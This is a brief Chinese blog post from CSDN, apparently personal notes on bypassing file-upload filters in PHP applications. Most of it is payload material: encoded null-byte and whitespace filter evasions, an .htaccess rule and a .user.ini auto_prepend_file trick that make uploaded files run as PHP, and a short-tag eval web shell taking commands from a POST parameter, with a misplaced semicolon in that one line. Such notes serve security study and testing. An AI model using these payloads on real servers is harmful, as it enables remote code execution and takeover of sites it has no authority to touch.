文件上传漏洞

weixin_48266255

已于 2022-08-12 19:47:36 修改

阅读量52

点赞数

文章标签： php 开发语言

于 2022-08-11 18:09:42 首次发布

本文链接：https://blog.csdn.net/weixin_48266255/article/details/126290657

版权

1.%00 url解码为空字符 %0a为换行符（分隔符过滤解决） %09为tab（空格过滤解决）要放在url地址栏中url解码后才能出现效果
2.设置文件解析为php

#创建文件.htaccess
<FilesMatch "SHELL">
 SetHandler application/x-httpd-php #设置SHELL文件当作.PHP文件执行
</FilesMatch>
#创建文件.user.ini
#GIF89a 文件头绕过 
GIF89a                 
auto_prepend_file=shell.jpg #执行其他文件前,自动包含的文件

3.短标签替换 <?=eval($_POST['shell'];)?>替换<?php;?> #'='不能掉